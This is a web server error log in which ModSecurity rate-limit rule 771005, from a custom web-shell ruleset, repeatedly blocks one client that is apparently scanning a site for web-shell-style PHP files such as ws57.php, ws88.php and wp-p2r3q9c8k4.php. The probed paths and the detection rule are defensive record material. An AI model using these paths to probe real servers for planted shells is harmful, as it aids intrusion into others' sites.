[Wed Apr 15 19:02:31.203458 2026] [:error] [pid 30958:tid 31036] [client 51.120.68.159:57463] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wR8eG3wSKTO7NWFGI1QAAANQ"]
[Wed Apr 15 19:02:31.212927 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:21649] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wRxcEkLCmvF0fjDelRQAAAIg"]
[Wed Apr 15 19:02:31.918122 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:50695] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wRxcEkLCmvF0fjDelSAAAAIM"]
[Wed Apr 15 19:02:32.005454 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:28836] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wSBcEkLCmvF0fjDelSgAAAI4"]
[Wed Apr 15 19:02:32.702165 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:25798] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wSMeG3wSKTO7NWFGI1wAAAMA"]
[Wed Apr 15 19:02:32.879633 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:57419] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wSMeG3wSKTO7NWFGI2AAAAMM"]
[Wed Apr 15 19:02:33.742620 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:38352] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wSXg-gnM2Ga0cGAD76AAAARQ"]
[Wed Apr 15 19:02:33.801806 2026] [:error] [pid 31053:tid 31078] [client 51.120.68.159:16345] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad9wSRcEkLCmvF0fjDelTAAAAJY"]
[Wed Apr 15 19:02:34.533101 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:16340] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wShcEkLCmvF0fjDelTwAAAII"]
[Wed Apr 15 19:02:34.550915 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:26137] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wShcEkLCmvF0fjDelUAAAAIA"]
[Wed Apr 15 19:02:35.312572 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:17411] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wSxcEkLCmvF0fjDelUwAAAJI"]
[Wed Apr 15 19:02:35.498089 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:57626] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wSxcEkLCmvF0fjDelVQAAAJQ"]
[Wed Apr 15 19:02:36.079964 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:16349] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wTH5gwVEVXHfVSiprsAAAAEc"]
[Wed Apr 15 19:02:36.202572 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:10880] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wTH5gwVEVXHfVSiprsQAAAEA"]
[Wed Apr 15 19:02:36.727810 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:10999] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad9wTH5gwVEVXHfVSiprtQAAAFM"]
[Wed Apr 15 19:02:37.007457 2026] [:error] [pid 31053:tid 31067] [client 51.120.68.159:16378] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTRcEkLCmvF0fjDelVgAAAIs"]
[Wed Apr 15 19:02:37.297154 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:10960] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTUBGUpjaWntNYq1dtwAAAA0"]
[Wed Apr 15 19:02:37.912271 2026] [:error] [pid 30957:tid 31010] [client 51.120.68.159:27367] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTX5gwVEVXHfVSipruQAAAFU"]
[Wed Apr 15 19:02:37.996672 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:28072] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTX5gwVEVXHfVSipruwAAAFI"]
[Wed Apr 15 19:02:38.454277 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:15155] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTn5gwVEVXHfVSiprwgAAAFE"]
[Wed Apr 15 19:02:38.661101 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:7459] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wTng-gnM2Ga0cGAD76wAAARE"]
[Wed Apr 15 19:02:39.059165 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:15108] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wT3g-gnM2Ga0cGAD77AAAAQw"]
[Wed Apr 15 19:02:39.304412 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:15126] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad9wT3g-gnM2Ga0cGAD78AAAAQo"]
[Wed Apr 15 19:02:39.780968 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:15124] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wT3g-gnM2Ga0cGAD78gAAARU"]
[Wed Apr 15 19:02:40.037979 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:10966] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUHg-gnM2Ga0cGAD78wAAAQg"]
[Wed Apr 15 19:02:40.362564 2026] [:error] [pid 30958:tid 31036] [client 51.120.68.159:26588] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUMeG3wSKTO7NWFGI2wAAANQ"]
[Wed Apr 15 19:02:40.640365 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:18271] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUMeG3wSKTO7NWFGI3AAAAMg"]
[Wed Apr 15 19:02:40.967407 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:28818] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUHg-gnM2Ga0cGAD79QAAARQ"]
[Wed Apr 15 19:02:41.460653 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:10904] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wURcEkLCmvF0fjDelWAAAAJE"]
[Wed Apr 15 19:02:41.833332 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:28034] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUceG3wSKTO7NWFGI3QAAAMw"]
[Wed Apr 15 19:02:42.085071 2026] [:error] [pid 30956:tid 30980] [client 51.120.68.159:31544] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad9wUkBGUpjaWntNYq1duwAAABQ"]
[Wed Apr 15 19:02:42.457766 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:25761] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wUhcEkLCmvF0fjDelWgAAAJQ"]
[Wed Apr 15 19:02:42.706613 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:26574] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wUseG3wSKTO7NWFGI3wAAAMA"]
[Wed Apr 15 19:02:43.101254 2026] [:error] [pid 30958:tid 31018] [client 51.120.68.159:22442] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wU8eG3wSKTO7NWFGI4AAAAMI"]
[Wed Apr 15 19:02:43.305164 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:15157] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wU0BGUpjaWntNYq1dvgAAAAo"]
[Wed Apr 15 19:02:43.687779 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:7127] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wU8eG3wSKTO7NWFGI4QAAAMM"]
[Wed Apr 15 19:02:43.925808 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:26604] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wU8eG3wSKTO7NWFGI4wAAAMs"]
[Wed Apr 15 19:02:44.367061 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:18281] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wVBcEkLCmvF0fjDelXAAAAJc"]
[Wed Apr 15 19:02:44.599813 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:18268] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad9wVEBGUpjaWntNYq1dxQAAAAY"]
[Wed Apr 15 19:02:45.025656 2026] [:error] [pid 30956:tid 30975] [client 51.120.68.159:10949] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVUBGUpjaWntNYq1dxwAAAA8"]
[Wed Apr 15 19:02:45.319842 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:7144] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVceG3wSKTO7NWFGI5QAAANM"]
[Wed Apr 15 19:02:45.724619 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:10968] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVceG3wSKTO7NWFGI5gAAAM8"]
[Wed Apr 15 19:02:45.921938 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:26932] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVRcEkLCmvF0fjDelXgAAAIU"]
[Wed Apr 15 19:02:46.297084 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:18276] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVng-gnM2Ga0cGAD7-QAAAQM"]
[Wed Apr 15 19:02:46.535466 2026] [:error] [pid 30956:tid 30963] [client 51.120.68.159:28035] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVkBGUpjaWntNYq1dywAAAAM"]
[Wed Apr 15 19:02:46.879112 2026] [:error] [pid 30956:tid 30968] [client 51.120.68.159:8248] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wVkBGUpjaWntNYq1dzQAAAAg"]
[Wed Apr 15 19:02:47.204465 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:31060] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad9wV8eG3wSKTO7NWFGI6QAAAM0"]
[Wed Apr 15 19:02:47.541897 2026] [:error] [pid 30957:tid 30994] [client 51.120.68.159:28032] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wV35gwVEVXHfVSipr0AAAAEU"]
[Wed Apr 15 19:02:47.764603 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:34466] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wV35gwVEVXHfVSipr0QAAAE4"]
[Wed Apr 15 19:02:48.076659 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:44047] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWBcEkLCmvF0fjDelYQAAAIM"]
[Wed Apr 15 19:02:48.345624 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:26906] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWBcEkLCmvF0fjDelYgAAAI4"]
[Wed Apr 15 19:02:48.650017 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:8234] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWHg-gnM2Ga0cGAD7-wAAAQ4"]
[Wed Apr 15 19:02:48.995671 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:13996] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWHg-gnM2Ga0cGAD7_AAAAQE"]
[Wed Apr 15 19:02:49.267919 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:15605] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWXg-gnM2Ga0cGAD7_gAAAQY"]
[Wed Apr 15 19:02:49.571024 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:34473] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad9wWXg-gnM2Ga0cGAD7_wAAARM"]
[Wed Apr 15 19:02:49.840545 2026] [:error] [pid 37370:tid 37381] [client 51.120.68.159:31550] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wWXg-gnM2Ga0cGAD8AQAAAQk"]
